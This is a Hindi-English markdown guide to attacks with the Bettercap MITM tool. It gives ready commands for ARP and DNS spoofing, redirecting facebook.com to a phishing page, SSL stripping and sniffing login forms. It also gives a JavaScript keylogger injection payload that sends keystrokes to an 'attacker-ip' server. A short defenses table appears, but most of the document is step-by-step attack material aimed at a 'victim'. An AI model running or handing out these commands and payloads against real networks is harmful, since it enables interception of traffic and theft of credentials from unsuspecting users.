💣 Bettercap Framework – Full Attack Guide with Hands-On Practice (Hindi)

> 🎯 सभी Bettercap Modules + Attacks Explained in Hindi with Live Demo Steps
> 📦 Format: Markdown (`.md`) | 🧨 Updated for 2025

🔧 Bettercap क्या है?

Bettercap एक Powerful MITM Tool है जिसका प्रयोग नेटवर्क मैनिपुलेशन, Sniffing, Spoofing, JS Injection, DNS Hijack, SSL Strip, और Phishing में किया जाता है।

🧰 इंस्टॉलेशन

```
sudo apt update
sudo apt install bettercap -y
```

> इंटरफेस चेक करें: `ip a`
> Bettercap स्टार्ट करें: `sudo bettercap -iface wlan0` (या eth0)

🔥 Bettercap All Attacks – Full Explanation with Examples

1️⃣ Network Reconnaissance

🔎 Attack:

Victim के नेटवर्क में कौन-कौन से Devices और Hosts हैं, यह पता लगाएं।

🛠️ Commands:

```
net.probe on
net.recon on
net.show
```

🧨 Hands-on:

1. Kali को Victim नेटवर्क से जोड़ें।
2. Commands चलाकर सभी IP और MAC लिस्ट करें।

2️⃣ ARP Spoofing (MITM)

🔑 Attack:

Victim को यह दिखाना कि Hacker ही Router है और Router को दिखाना कि Hacker ही Victim है।

🛠️ Commands:

```
set arp.spoof.targets <victim-ip>
arp.spoof on
```

🩹 Hands-on:

- Wireshark में देखें कि Victim के पैकेट अब आपके सिस्टम से होकर जा रहे हैं।

3️⃣ DNS Spoofing

🔑 Attack:

Victim जब कोई वेबसाइट (जैसे facebook.com) खोले, तो उसे आपकी बनाई हुई वेबसाइट पर भेजना।

🛠️ Commands:

```
set dns.spoof.domains facebook.com
set dns.spoof.address 192.168.0.100
dns.spoof on
```

🩹 Hands-on:

- एक local phishing page बनाएं।
- Victim को spoofed IP पर redirect करें।

4️⃣ HTTP Proxy + JS Injection

🔑 Attack:

Victim के web pages में JS/HTML inject करना (alert box, keylogger, redirect)।

🛠️ Steps:

1. Create a file `jsinject.js`:

```
document.body.innerHTML += '<h1>Alert: Hacked by Bettercap!</h1>';
```

2. Bettercap में run करें:

```
set http.proxy.script jsinject.js
http.proxy on
```

---

5 SSL Strip

🔑 Attack:

HTTPS को HTTP में बदलकर credentials plain text में capture करना।

🛠️ Commands:

```
http.proxy.sslstrip on
http.proxy on
net.sniff on
```

🩹 Hands-on:

- Victim को HTTPS login site खोलने दें (e.g. http://example.com)
- Username/Password logs में capture होंगे।

---

6 Sniffing Forms & Passwords

🔑 Attack:

Network पर जा रहे login forms, search boxes को capture करना।

🛠️ Commands:

```
net.sniff.verbose true
net.sniff on
```

> 🕵️ आप HTTP headers, URLs, form-data और cookies सब देख सकते हैं।

---

7 Capturing Images and URLs

🔑 Attack:

Victim द्वारा ओपन की गई websites की URLs और images capture करना।

🛠️ Commands:

```
net.sniff on
net.sniff.verbose true
```

8️⃣ Live Phishing Page with DNS Spoofing

🎯 Scenario:

- Victim "facebook.com" खोलेगा → आपकी phishing साइट पर redirect होगा।

🧪 Lab:

1. DNS Spoof सेट करें (जैसा ऊपर बताया)
2. अपनी phishing साइट `index.html` serve करें:

```
sudo python3 -m http.server 80
```

3. Victim को facebook.com खोलने कहें।

9️⃣ JS Keylogger Injection (Bonus)

🎯 Attack:

JS ke ज़रिए victim के keyboard strokes capture करना।

jsinject.js content:

```
document.onkeypress = function(e) {
    fetch("http://attacker-ip:5000/log?key=" + e.key);
};
```

> Flask से receiver बनाएं जो keys को save करे।

🔒 Defenses (बचाव कैसे करें?)

Attack	बचाव
ARP Spoof	Static ARP
DNS Spoof	DNSSEC

Attack	बचाव
SSL Strip	HTTPS-only
JS Inject	CSP Header
Sniffing	Encrypted traffic

🕮 Practice Lab Setup

Tool	Use
Kali Linux	Attacker system
Android / Windows	Victim
Wireshark	Traffic analyzer
Flask / Apache	Fake site serving
html/index.html	Fake login form
jsinject.js	JS Payload
Router	Same network for both

☑ Summary of Bettercap Modules

Module	Use
net.recon	नेटवर्क स्कैन
arp.spoof	MITM
dns.spoof	DNS Hijack
http.proxy	JS/HTML Inject
net.sniff	Credentials Capture
http.proxy.sslstrip	HTTPS bypass

🗁 Bonus Files To Create

- `jsinject.js` – JavaScript alert/injection
- `index.html` – Phishing login form
- `server.py` – Flask app to catch keylogs
- `dns_hosts.txt` – Custom spoof file